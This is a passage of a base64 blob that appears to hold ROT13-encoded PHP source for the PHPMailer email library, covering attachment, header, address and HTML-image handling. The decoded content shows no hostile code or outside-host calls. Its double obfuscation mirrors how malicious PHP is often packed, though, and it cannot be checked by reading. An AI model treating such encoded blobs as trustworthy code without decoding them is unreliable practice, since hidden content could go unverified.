uenJHYkdsY3IoJGFuenIpOwogICAgICAgIH0KCiAgICAgICAgLy8gTmNjcmFxIGdiICRuZ2ducHV6cmFnIG5lZW5sCiAgICAgICAgJGd1dmYtPm5nZ25wdXpyYWdbXSA9IG5lZW5sKAogICAgICAgICAgICAwID0+ICRmZ2V2YXQsCiAgICAgICAgICAgIDEgPT4gJGFuenIsCiAgICAgICAgICAgIDIgPT4gJGFuenIsCiAgICAgICAgICAgIDMgPT4gJHJhcGJxdmF0LAogICAgICAgICAgICA0ID0+ICRnbGNyLAogICAgICAgICAgICA1ID0+IGdlaHIsIC8vIHZmRmdldmF0TmdnbnB1enJhZwogICAgICAgICAgICA2ID0+ICRxdmZjYmZ2Z3ZiYSwKICAgICAgICAgICAgNyA9PiAkcHZxCiAgICAgICAgKTsKICAgICAgICBlcmdoZWEgZ2VocjsKICAgIH0KCiAgICAvKioKICAgICAqIFB1cnB4IHZzIG5hIHZheXZhciBuZ2ducHV6cmFnIHZmIGNlcmZyYWcuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB2YXl2YXJWem50clJrdmZnZigpCiAgICB7CiAgICAgICAgc2Jlcm5wdSAoJGd1dmYtPm5nZ25wdXpyYWcgbmYgJG5nZ25wdXpyYWcpIHsKICAgICAgICAgICAgdnMgKCRuZ2ducHV6cmFnWzZdID09ICd2YXl2YXInKSB7CiAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9CgogICAgLyoqCiAgICAgKiBQdXJweCB2cyBuYSBuZ2ducHV6cmFnIChhYmEtdmF5dmFyKSB2ZiBjZXJmcmFnLgogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBuZ2ducHV6cmFnUmt2ZmdmKCkKICAgIHsKICAgICAgICBzYmVybnB1ICgkZ3V2Zi0+bmdnbnB1enJhZyBuZiAkbmdnbnB1enJhZykgewogICAgICAgICAgICB2cyAoJG5nZ25wdXpyYWdbNl0gPT0gJ25nZ25wdXpyYWcnKSB7CiAgICAgICAgICAgICAgICBlcmdoZWEgZ2VocjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlcmdoZWEgc255ZnI7CiAgICB9CgogICAgLyoqCiAgICAgKiBQdXJweCB2cyBndXZmIHpyZmZudHIgdW5mIG5hIG55Z3JlYW5ndmlyIG9icWwgZnJnLgogICAgICogQGVyZ2hlYSBvYmJ5cm5hCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBueWdyZWFuZ3ZpclJrdmZnZigpCiAgICB7CiAgICAgICAgZXJnaGVhICFyemNnbCgkZ3V2Zi0+TnlnT2JxbCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBQeXJuZSBkaHJocnEgbnFxZXJmZnJmIGJzIHR2aXJhIHh2YXEuCiAgICAgKiBAbnBwcmZmIGNlYmdycGdycQogICAgICogQGNuZW56IGZnZXZhdCAkeHZhcSAnZ2InLCAncHAnLCBiZSAnb3BwJwogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBweXJuZURocmhycU5xcWVyZmZyZigkeHZhcSkKICAgIHsKICAgICAgICAkRXJwdmN2cmFnZkRocmhyID0gJGd1dmYtPkVycHZjdnJhZ2ZEaHJocjsKICAgICAgICBzYmVybnB1ICgkRXJwdmN2cmFnZkRocmhyIG5mICRucXFlcmZmID0+ICRjbmVuemYpIHsKICAgICAgICAgICAgdnMgKCRjbmVuemZbMF0gPT0gJHh2YXEpIHsKICAgICAgICAgICAgICAgIGhhZnJnKCRndXZmLT5FcnB2Y3ZyYWdmRGhyaHJbJG5xcWVyZmZdKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFB5cm5lIG55eSBHYiBlcnB2Y3ZyYWdmLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBweXJuZU5xcWVyZmZyZigpCiAgICB7CiAgICAgICAgc2Jlcm5wdSAoJGd1dmYtPmdiIG5mICRnYikgewogICAgICAgICAgICBoYWZyZygkZ3V2Zi0+bnl5X2VycHZjdnJhZ2ZbZmdlZ2J5YmpyZSgkZ2JbMF0pXSk7CiAgICAgICAgfQogICAgICAgICRndXZmLT5nYiA9IG5lZW5sKCk7CiAgICAgICAgJGd1dmYtPnB5cm5lRGhyaHJxTnFxZXJmZnJmKCdnYicpOwogICAgfQoKICAgIC8qKgogICAgICogUHlybmUgbnl5IFBQIGVycHZjdnJhZ2YuCiAgICAgKiBAZXJnaGVhIGlidnEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHB5cm5lUFBmKCkKICAgIHsKICAgICAgICBzYmVybnB1ICgkZ3V2Zi0+cHAgbmYgJHBwKSB7CiAgICAgICAgICAgIGhhZnJnKCRndXZmLT5ueXlfZXJwdmN2cmFnZltmZ2VnYnlianJlKCRwcFswXSldKTsKICAgICAgICB9CiAgICAgICAgJGd1dmYtPnBwID0gbmVlbmwoKTsKICAgICAgICAkZ3V2Zi0+cHlybmVEaHJocnFOcXFlcmZmcmYoJ3BwJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBQeXJuZSBueXkgT1BQIGVycHZjdnJhZ2YuCiAgICAgKiBAZXJnaGVhIGlidnEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHB5cm5lT1BQZigpCiAgICB7CiAgICAgICAgc2Jlcm5wdSAoJGd1dmYtPm9wcCBuZiAkb3BwKSB7CiAgICAgICAgICAgIGhhZnJnKCRndXZmLT5ueXlfZXJwdmN2cmFnZltmZ2VnYnlianJlKCRvcHBbMF0pXSk7CiAgICAgICAgfQogICAgICAgICRndXZmLT5vcHAgPSBuZWVubCgpOwogICAgICAgICRndXZmLT5weXJuZURocmhycU5xcWVyZmZyZignb3BwJyk7CiAgICB9CgogICAgLyoqCiAgICAgKiBQeXJuZSBueXkgRXJjeWxHYiBlcnB2Y3ZyYWdmLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBweXJuZUVyY3lsR2JmKCkKICAgIHsKICAgICAgICAkZ3V2Zi0+RXJjeWxHYiA9IG5lZW5sKCk7CiAgICAgICAgJGd1dmYtPkVyY3lsR2JEaHJociA9IG5lZW5sKCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBQeXJuZSBueXkgZXJwdmN2cmFnIGdsY3JmLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBweXJuZU55eUVycHZjdnJhZ2YoKQogICAgewogICAgICAgICRndXZmLT5nYiA9IG5lZW5sKCk7CiAgICAgICAgJGd1dmYtPnBwID0gbmVlbmwoKTsKICAgICAgICAkZ3V2Zi0+b3BwID0gbmVlbmwoKTsKICAgICAgICAkZ3V2Zi0+bnl5X2VycHZjdnJhZ2YgPSBuZWVubCgpOwogICAgICAgICRndXZmLT5FcnB2Y3ZyYWdmRGhyaHIgPSBuZWVubCgpOwogICAgfQoKICAgIC8qKgogICAgICogUHlybmUgbnl5IHN2eXJmbGZncnosIGZnZXZhdCwgbmFxIG92YW5lbCBuZ2ducHV6cmFnZi4KICAgICAqIEBlcmdoZWEgaWJ2cQogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgcHlybmVOZ2ducHV6cmFnZigpCiAgICB7CiAgICAgICAgJGd1dmYtPm5nZ25wdXpyYWcgPSBuZWVubCgpOwogICAgfQoKICAgIC8qKgogICAgICogUHlybmUgbnl5IHBoZmdieiB1cm5xcmVmLgogICAgICogQGVyZ2hlYSBpYnZxCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSBweXJuZVBoZmdielVybnFyZWYoKQogICAgewogICAgICAgICRndXZmLT5QaGZnYnpVcm5xcmUgPSBuZWVubCgpOwogICAgfQoKICAgIC8qKgogICAgICogTnFxIG5hIHJlZWJlIHpyZmZudHIgZ2IgZ3VyIHJlZWJlIHBiYWdudmFyZS4KICAgICAqIEBucHByZmYgY2ViZ3JwZ3JxCiAgICAgKiBAY25lbnogZmdldmF0ICR6ZnQKICAgICAqIEBlcmdoZWEgaWJ2cQogICAgICovCiAgICBjZWJncnBncnEgc2hhcGd2YmEgZnJnUmVlYmUoJHpmdCkKICAgIHsKICAgICAgICAkZ3V2Zi0+cmVlYmVfcGJoYWcrKzsKICAgICAgICB2cyAoJGd1dmYtPlpudnlyZSA9PSAnZnpnYycgbmFxICF2Zl9haHl5KCRndXZmLT5memdjKSkgewogICAgICAgICAgICAkeW5mZ3JlZWJlID0gJGd1dmYtPmZ6Z2MtPnRyZ1JlZWJlKCk7CiAgICAgICAgICAgIHZzICghcnpjZ2woJHluZmdyZWViZVsncmVlYmUnXSkpIHsKICAgICAgICAgICAgICAgICR6ZnQgLj0gJGd1dmYtPnluYXQoJ2Z6Z2NfcmVlYmUnKSAuICR5bmZncmVlYmVbJ3JlZWJlJ107CiAgICAgICAgICAgICAgICB2cyAoIXJ6Y2dsKCR5bmZncmVlYmVbJ3FyZ252eSddKSkgewogICAgICAgICAgICAgICAgICAgICR6ZnQgLj0gJyBRcmdudnk6ICcuICR5bmZncmVlYmVbJ3FyZ252eSddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgdnMgKCFyemNnbCgkeW5mZ3JlZWJlWydmemdjX3BicXInXSkpIHsKICAgICAgICAgICAgICAgICAgICAkemZ0IC49ICcgRlpHQyBwYnFyOiAnIC4gJHluZmdyZWViZVsnZnpnY19wYnFyJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB2cyAoIXJ6Y2dsKCR5bmZncmVlYmVbJ2Z6Z2NfcGJxcl9yayddKSkgewogICAgICAgICAgICAgICAgICAgICR6ZnQgLj0gJyBOcXF2Z3ZiYW55IEZaR0MgdmFzYjogJyAuICR5bmZncmVlYmVbJ2Z6Z2NfcGJxcl9yayddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRndXZmLT5SZWViZVZhc2IgPSAkemZ0OwogICAgfQoKICAgIC8qKgogICAgICogRXJnaGVhIG5hIEVTUCA4MjIgc2Jlem5nZ3JxIHFuZ3IuCiAgICAgKiBAbnBwcmZmIGNob3l2cAogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqIEBmZ25ndnAKICAgICAqLwogICAgY2hveXZwIGZnbmd2cCBzaGFwZ3ZiYSBlc3BRbmdyKCkKICAgIHsKICAgICAgICAvLyBGcmcgZ3VyIGd2enIgbWJhciBnYiBqdW5ncmlyZSBndXIgcXJzbmh5ZyB2ZiBnYiBuaWJ2cSA1MDAgcmVlYmVmCiAgICAgICAgLy8gSnZ5eSBxcnNuaHlnIGdiIEhHUCB2cyB2ZydmIGFiZyBmcmcgY2ViY3JleWwgdmEgY3VjLnZhdgogICAgICAgIHFuZ3JfcXJzbmh5Z19ndnpybWJhcl9mcmcoQHFuZ3JfcXJzbmh5Z19ndnpybWJhcl90cmcoKSk7CiAgICAgICAgZXJnaGVhIHFuZ3IoJ1EsIHcgWiBMIFU6djpmIEInKTsKICAgIH0KCiAgICAvKioKICAgICAqIFRyZyBndXIgZnJlaXJlIHViZmdhbnpyLgogICAgICogRXJnaGVhZiAneWJwbnl1YmZnLnlicG55cWJ6bnZhJyB2cyBoYXhhYmphLgogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBlcmdoZWEgZmdldmF0CiAgICAgKi8KICAgIGNlYmdycGdycSBzaGFwZ3ZiYSBmcmVpcmVVYmZnYW56cigpCiAgICB7CiAgICAgICAgJGVyZmh5ZyA9ICd5YnBueXViZmcueWJwbnlxYnpudmEnOwogICAgICAgIHZzICghcnpjZ2woJGd1dmYtPlViZmdhbnpyKSkgewogICAgICAgICAgICAkZXJmaHlnID0gJGd1dmYtPlViZmdhbnpyOwogICAgICAgIH0gcnlmcnZzICh2ZmZyZygkX0ZSRUlSRSkgbmFxIG5lZW5sX3hybF9ya3ZmZ2YoJ0ZSRUlSRV9BTlpSJywgJF9GUkVJUkUpIG5hcSAhcnpjZ2woJF9GUkVJUkVbJ0ZSRUlSRV9BTlpSJ10pKSB7CiAgICAgICAgICAgICRlcmZoeWcgPSAkX0ZSRUlSRVsnRlJFSVJFX0FOWlInXTsKICAgICAgICB9IHJ5ZnJ2cyAoc2hhcGd2YmFfcmt2ZmdmKCd0cmd1YmZnYW56cicpICYmIHRyZ3ViZmdhbnpyKCkgIT09IHNueWZyKSB7CiAgICAgICAgICAgICRlcmZoeWcgPSB0cmd1YmZnYW56cigpOwogICAgICAgIH0gcnlmcnZzIChjdWNfaGFuenIoJ2EnKSAhPT0gc255ZnIpIHsKICAgICAgICAgICAgJGVyZmh5ZyA9IGN1Y19oYW56cignYScpOwogICAgICAgIH0KICAgICAgICBlcmdoZWEgJGVyZmh5ZzsKICAgIH0KCiAgICAvKioKICAgICAqIFRyZyBuYSByZWViZSB6cmZmbnRyIHZhIGd1ciBwaGVlcmFnIHluYXRobnRyLgogICAgICogQG5wcHJmZiBjZWJncnBncnEKICAgICAqIEBjbmVueiBmZ2V2YXQgJHhybAogICAgICogQGVyZ2hlYSBmZ2V2YXQKICAgICAqLwogICAgY2ViZ3JwZ3JxIHNoYXBndmJhIHluYXQoJHhybCkKICAgIHsKICAgICAgICB2cyAocGJoYWcoJGd1dmYtPnluYXRobnRyKSA8IDEpIHsKICAgICAgICAgICAgJGd1dmYtPmZyZ1luYXRobnRyKCdyYScpOyAvLyBmcmcgZ3VyIHFyc25oeWcgeW5hdGhudHIKICAgICAgICB9CgogICAgICAgIHZzIChuZWVubF94cmxfcmt2ZmdmKCR4cmwsICRndXZmLT55bmF0aG50cikpIHsKICAgICAgICAgICAgdnMgKCR4cmwgPT0gJ2Z6Z2NfcGJhYXJwZ19zbnZ5cnEnKSB7CiAgICAgICAgICAgICAgICAvL1ZhcHlocXIgbiB5dmF4IGdiIGdlYmhveXJmdWJiZ3ZhdCBxYnBmIGJhIEZaR0MgcGJhYXJwZ3ZiYSBzbnZ5aGVyCiAgICAgICAgICAgICAgICAvL2d1dmYgdmYgb2wgc25lIGd1ciBvdnR0cmZnIHBuaGZyIGJzIGZoY2NiZWcgZGhyZmd2YmFmCiAgICAgICAgICAgICAgICAvL29oZyB2ZydmIGhmaG55eWwgYWJnIENVQ1pudnlyZSdmIHNuaHlnLgogICAgICAgICAgICAgICAgZXJnaGVhICRndXZmLT55bmF0aG50clskeHJsXSAuICcgdWdnY2Y6Ly90dmd1aG8ucGJ6L0NVQ1pudnlyZS9DVUNabnZ5cmUvanZ4di9HZWJob3lyZnViYmd2YXQnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVyZ2hlYSAkZ3V2Zi0+eW5hdGhudHJbJHhybF07CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgLy9FcmdoZWEgZ3VyIHhybCBuZiBuIHNueXlvbnB4CiAgICAgICAgICAgIGVyZ2hlYSAkeHJsOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFB1cnB4IHZzIG5hIHJlZWJlIGJwcGhlZXJxLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBlcmdoZWEgb2JieXJuYSBHZWhyIHZzIG5hIHJlZWJlIHF2cSBicHBoZS4KICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHZmUmVlYmUoKQogICAgewogICAgICAgIGVyZ2hlYSAoJGd1dmYtPnJlZWJlX3BiaGFnID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBSYWZoZXIgcGJhZnZmZ3JhZyB5dmFyIHJhcXZhdGYgdmEgbiBmZ2V2YXQuCiAgICAgKiBQdW5hdHJmIHJpcmVsIHJhcSBicyB5dmFyIHNlYnogUEVZUywgUEUgYmUgWVMgZ2IgJGd1dmYtPllSLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJGZnZSBGZ2V2YXQgZ2Igc3ZrUkJZCiAgICAgKiBAZXJnaGVhIGZnZXZhdAogICAgICovCiAgICBjaG95dnAgc2hhcGd2YmEgc3ZrUkJZKCRmZ2UpCiAgICB7CiAgICAgICAgLy8gQWJlem55dmZyIGdiIFxhCiAgICAgICAgJGFmZ2UgPSBmZ2VfZXJjeW5wcihuZWVubCgiXGVcYSIsICJcZSIpLCAiXGEiLCAkZmdlKTsKICAgICAgICAvLyBBYmogcGJhaXJlZyBZUiBuZiBhcnJxcnEKICAgICAgICB2cyAoJGd1dmYtPllSICE9PSAiXGEiKSB7CiAgICAgICAgICAgICRhZmdlID0gZmdlX2VyY3lucHIoIlxhIiwgJGd1dmYtPllSLCAkYWZnZSk7CiAgICAgICAgfQogICAgICAgIGVyZ2hlYSAkYWZnZTsKICAgIH0KCiAgICAvKioKICAgICAqIE5xcSBuIHBoZmdieiB1cm5xcmUuCiAgICAgKiAkYW56ciBpbnlociBwbmEgb3IgYmlyZXlibnFycSBnYiBwYmFnbnZhCiAgICAgKiBvYmd1IHVybnFyZSBhbnpyIG5hcSBpbnlociAoYW56cjppbnlocikKICAgICAqIEBucHByZmYgY2hveXZwCiAgICAgKiBAY25lbnogZmdldmF0ICRhbnpyIFBoZmdieiB1cm5xcmUgYW56cgogICAgICogQGNuZW56IGZnZXZhdCAkaW55aHIgVXJucXJlIGlueWhyCiAgICAgKiBAZXJnaGVhIGlidnEKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIG5xcVBoZmdielVybnFyZSgkYW56ciwgJGlueWhyID0gYWh5eSkKICAgIHsKICAgICAgICB2cyAoJGlueWhyID09PSBhaHl5KSB7CiAgICAgICAgICAgIC8vIElueWhyIGNuZmZycSB2YSBuZiBhbnpyOmlueWhyCiAgICAgICAgICAgICRndXZmLT5QaGZnYnpVcm5xcmVbXSA9IHJrY3licXIoJzonLCAkYW56ciwgMik7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgJGd1dmYtPlBoZmdielVybnFyZVtdID0gbmVlbmwoJGFuenIsICRpbnlocik7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRXJnaGVhZiBueXkgcGhmZ2J6IHVybnFyZWYuCiAgICAgKiBAZXJnaGVhIG5lZW5sCiAgICAgKi8KICAgIGNob3l2cCBzaGFwZ3ZiYSB0cmdQaGZnYnpVcm5xcmVmKCkKICAgIHsKICAgICAgICBlcmdoZWEgJGd1dmYtPlBoZmdielVybnFyZTsKICAgIH0KCiAgICAvKioKICAgICAqIFBlcm5nciBuIHpyZmZudHIgb2JxbCBzZWJ6IG5hIFVHWlkgZmdldmF0LgogICAgICogTmhnYnpuZ3Zwbnl5bCB2YXl2YXJmIHZ6bnRyZiBuYXEgcGVybmdyZiBuIGN5bnZhLWdya2cgaXJlZnZiYSBvbCBwYmFpcmVndmF0IGd1ciBVR1pZLAogICAgICogYmlyZWpldmd2YXQgbmFsIHJrdmZndmF0IGlueWhyZiB2YSBPYnFsIG5hcSBOeWdPYnFsLgogICAgICogUWIgYWJnIGZiaGVwciAkenJmZm50ciBwYmFncmFnIHNlYnogaGZyZSB2YWNoZyEKICAgICAqICRvbmZycXZlIHZmIGNlcmNyYXFycSBqdXJhIHVuYXF5dmF0IGVyeW5ndmlyIEhFWWYsIHIudC4gPHZ6dCBmZXA9Ii92em50cmYvbi5jYXQiPiBuYXEgemhmZyBhYmcgb3IgcnpjZ2wKICAgICAqIGp2eXkgeWJieCBzYmUgbmEgdnpudHIgc3Z5ciB2YSAkb25mcnF2ZS92em50cmYvbi5jYXQgbmFxIHBiYWlyZWcgdmcgZ2IgdmF5dmFyLgogICAgICogVnMgbGJoIHFiYSdnIGNlYml2cXIgbiAkb25mcnF2ZSwgZXJ5bmd2aXIgY25ndWYganZ5eSBvciB5cnNnIGhhZ2JocHVycSAobmFxIGd1aGYgY2Vib25veWwgb2VybnggdmEgcnpudnkpCiAgICAgKiBWcyBsYmggcWJhJ2cgam5hZyBnYiBuY2N5bCBndXJmciBnZW5hZnNiZXpuZ3ZiYWYgZ2IgbGJoZSBVR1pZLCB3aGZnIGZyZyBPYnFsIG5hcSBOeWdPYnFsIHF2ZXJwZ3lsLgogICAgICogQG5wcHJmZiBjaG95dnAKICAgICAqIEBjbmVueiBmZ2V2YXQgJHpyZmZudHIgVUdaWSB6cmZmbnRyIGZnZXZhdAogICAgICogQGNuZW56IGZnZXZhdCAkb25mcnF2ZSBOb2ZieWhnciBjbmd1IGdiIG4gb25mciBxdmVycGdiZWwgZ2IgY2VyY3JhcSBnYiBlcnluZ3ZpciBjbmd1ZiBnYiB2em50cmYKICAgICAqIEBjbmVueiBvYmJ5cm5hfHBueXlub3lyICRucWluYXBycSBKdXJndXJlIGdiIGhmciBndXIgdmFncmVhbnkgVUdaWSBnYiBncmtnIHBiYWlyZWdyZQogICAgICogICAgYmUgbGJoZSBiamEgcGhmZ2J6IHBiYWlyZWdyZSBAZnJyIENVQ1pudnlyZTo6dWd6eTJncmtnKCkKICAgICAqIEBlcmdoZWEgZmdldmF0ICR6cmZmbnRyIEd1ciBnZW5hZnNiZXpycSB6cmZmbnRyIE9icWwKICAgICAqLwogICAgY2hveXZwIHNoYXBndmJhIHpmdFVHWlkoJHpyZmZudHIsICRvbmZycXZlID0gJycsICRucWluYXBycSA9IHNueWZyKQogICAgewogICAgICAgIGNlcnRfem5ncHVfbnl5KCcvKGZlcHxvbnB4dGViaGFxKT1bIlwnXSguKilbIlwnXS9IdicsICR6cmZmbnRyLCAkdnpudHJmKTsKICAgICAgICB2cyAobmVlbmxfeHJsX3JrdmZnZigyLCAkdnpudHJmKSkgewogICAgICAgICAgICB2cyAoZmdleXJhKCRvbmZycXZlKSA+IDEgJiYgZmhvZmdlKCRvbmZycXZlLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBSYWZoZXIgJG9uZnJxdmUgdW5mIG4gZ2Vudnl2YXQgLwogICAgICAgICAgICAgICAgJG9uZnJxdmUgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNiZXJucHUgKCR2em50cmZbMl0gbmYgJHZ6dHZhcXJrID0+ICRoZXkpIHsKICAgICAgICAgICAgICAgIC8vIFBiYWlyZWcgcW5nbiBIRVZmIHZhZ2IgcnpvcnFxcnEgdnpudHJmCiAgICAgICAgICAgICAgICB2cyAoY2VydF96bmdwdSgnI15xbmduOih2em50clteOyxdKikoO29uZnI2NCk/LCMnLCAkaGV5LCAkem5ncHUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHFuZ24gPSBmaG9mZ2UoJGhleSwgZmdlY2JmKCRoZXksICcsJykpOwogICAgICAgICAgICAgICAgICAgIHZzICgkem5ncHVbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHFuZ24gPSBvbmZyNjRfcXJwYnFyKCRxbmduKTsKICAgICAgICAgICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgICAgICAgICAkcW5nbiA9IGVuamhleXFycGJxcigkcW5nbik7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRwdnEgPSB6cTUoJGhleSkgLiAnQGN1Y3pudnlyZS4wJzsgLy8gRVNQMjM5MiBGIDIKICAgICAgICAgICAgICAgICAgICB2cyAoJGd1dmYtPm5xcUZnZXZhdFJ6b3JxcXJxVnpudHIoJHFuZ24sICRwdnEsICdyem9ycScgLiAkdnp0dmFxcmssICdvbmZyNjQnLCAkem5ncHVbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6cmZmbnRyID0gZmdlX2VyY3lucHIoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdnpudHJmWzBdWyR2enR2YXFya10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdnpudHJmWzFdWyR2enR2YXFya10gLiAnPSJwdnE6JyAuICRwdnEgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkenJmZm50cgogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBwYmFndmFocjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHZzICgKICAgICAgICAgICAgICAgICAgICAvLyBCYXlsIGNlYnByZmYgZXJ5bmd2aXIgSEVZZiB2cyBuIG9uZnJxdmUgdmYgY2ViaXZxcnEgKHYuci4gYWIgbm9mYnloZ3IgeWJwbnkgY25ndWYpCiAgICAgICAgICAgICAgICAgICAgIXJ6Y2dsKCRvbmZycXZlKQogICAgICAgICAgICAgICAgICAgIC8vIFZ0YWJlciBIRVlmIHBiYWdudmF2YXQgY25lcmFnIHF2ZSBnZW5pcmVmbnkgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChmZ2VjYmYoJGhleSwgJy4uJykgPT09IHNueWZyKQogICAgICAgICAgICAgICAgICAgIC8vIFFiIGFiZyBwdW5hdHIgaGV5ZiBndW5nIG5lciBueWVybnFsIHZheXZhciB2em50cmYKICAgICAgICAgICAgICAgICAgICAmJiBmaG9mZ2UoJGhleSwgMCwgNCkgIT09ICdwdnE6JwogICAgICAgICAgICAgICAgICAgIC8vIFFiIGFiZyBwdW5hdHIgbm9mYnloZ3IgSEVZZiwgdmFweWhxdmF0IG5hYmFsemJoZiBjZWJnYnBieQogICAgICAgICAgICAgICAgICAgICYmICFjZXJ0X3puZ3B1KCcjXltuLW1dW24tbTAtOSsuLV0qOj8vLyN2JywgJGhleSkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRzdnlyYW56ciA9IG9uZnJhbnpyKCRoZXkpOwogICAgICAgICAgICAgICAgICAgICRxdmVycGdiZWwgPSBxdmVhbnpyKCRoZXkpOwogICAgICAgICAgICAgICAgICAgIHZzICgkcXZlcnBnYmVsID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkcXZlcnBnYmVsID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRwdnEgPSB6cTUoJGhleSkgLiAnQGN1Y3pudnlyZS4wJzsgLy8gRVNQMjM5MiBGIDIKICAgICAgICAgICAgICAgICAgICB2cyAoZmdleXJhKCRxdmVycGdiZWwpID4gMSAmJiBmaG9mZ2UoJHF2ZXJwZ2JlbCwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkcXZlcnBnYmVsIC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgdnMgKCRndXZmLT5ucXFSem9ycXFycVZ6bnRyKAogICAgICAgICAgICAgICAgICAgICAgICAkb25mcnF2ZSAuICRxdmVycGdiZWwgLiAkc3Z5cmFuenIsCiAgICAgICAgICAgICAgICAgICAgICAgICRwdnEsCiAgICAgICAgICAgICAgICAgICAgICAgICRzdnlyYW56ciwKICAgICAgICAgICAgICAgICAgICAgICAgJ29uZnI2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIGZyeXM6Ol96dnpyX2dsY3JmKChmZ2V2YXQpZnJ5czo6em9fY25ndXZhc2IoJHN2eXJhbnpyLCBDTkdVVkFTQl9SS0dSQUZWQkEpKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHpyZmZudHIgPSBjZXJ0X2VyY3lucHIoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkdnpudHJmWzFdWyR2enR2YXFya10gLiAnPVsiXCddJyAuIGNlcnRfZGhiZ3IoJGhleSwgJy8nKSAuICdbIlwnXS9IdicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdnpudHJmWzFdWyR2enR2YXFya10gLiAnPSJwdnE6JyAuICRwdnEgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkenJmZm50cgogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkZ3V2Zi0+dmZVR1pZKGdlaHIpOwogICAgICAgIC8vIFBiYWlyZWcgbnl5IHpyZmZudHIgb2JxbCB5dmFyIG9lcm54ZiBnYiBQRVlTLCB6bnhyZiBkaGJncnEtY2V2YWdub3lyIHJhcGJxdmF0IGpiZXggemhwdSBvcmdncmUKICAgICAgICAkZ3V2Zi0+T2JxbCA9ICRndXZmLT5hYmV6bnl2bXJPZXJueGYoJHpyZmZudHIpOwogICAgICAgICRndXZmLT5OeWdPYnFsID0gJGd1dmYtPmFiZXpueXZtck9lcm54ZigkZ3V2Zi0+dWd6eTJncmtnKCR6cmZmbnRyLCAkbnFpbmFwcnEpKTsKICAgICAgICB2cyAoISRndXZmLT5ueWdyZWFuZ3ZpclJrdmZnZigpKSB7CiAgICAgICAgICAgICRndXZmLT5OeWdPYnFsID0gJ0diIGl2cmogZ3V2ZiByem52eSB6cmZmbnRyLCBiY3JhIHZnIHZhIG4gY2VidGVueiBndW5nIGhhcXJlZmduYXFmIFVHWlkhJyAuCiAgICAgICAgICAgICAgICBmcnlzOjpQRVlTIC4gZnJ5czo6UEVZUzsKICAgICAgICB9CiAgICAgICAgZXJnaGVhICRndXZmLT5PYnFsOwogICAgfQoKICAgIC8qKgogICAgICogUGJhaXJlZy